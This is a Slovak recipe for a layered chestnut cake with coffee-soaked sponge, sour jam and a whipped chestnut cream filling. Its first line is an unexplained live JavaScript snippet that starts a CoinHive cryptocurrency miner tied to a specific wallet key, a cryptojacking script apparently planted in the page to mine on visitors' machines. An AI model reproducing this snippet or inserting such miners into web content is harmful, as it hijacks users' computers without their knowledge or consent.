var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Korpus: 8 žĺtkov mierne predšľaháme, pridáme 500 g gaštanového pyré a šľaháme, kým nevznikne ľahký nadýchaný krém, (teraz zapneme rúru na 180^{0}C), vyšľaháme tuhý sneh z 8 bielkov a opatrne ho vmiešame do vyšľahanej gaštanovej masy. Upečieme v tortovej forme s priemerom 28 cm. Po vložení do rúry znížime teplotu na 160^{0}C a pečieme 40– 45 minút. Upečený a vychladnutý korpus prerežeme na ½ (šikovnejší môžu aj na 3 časti), pokvapkáme silnou čiernou kávou, spodnú časť potrieme kyselkastým džemom (ríbezľovým, malinovým...) a natrieme ⅔ plnky, prikryjeme druhou časťou korpusu, natrieme zvyšným krémom (aj boky), môžeme ozdobiť a dáme stuhnúť do chladničky minimálne 3 hodiny.

Plnka: 3 dl mlieka trochu vyšľaháme s 2 práškovými šľahačkami Dr. Oetker bez pridaného cukru len do polotuha (cca 30 sekúnd), pridáme 250 g rozmrveného gaštanového pyré a šľaháme (2,5–3 minúty), kým pekne nenarastie.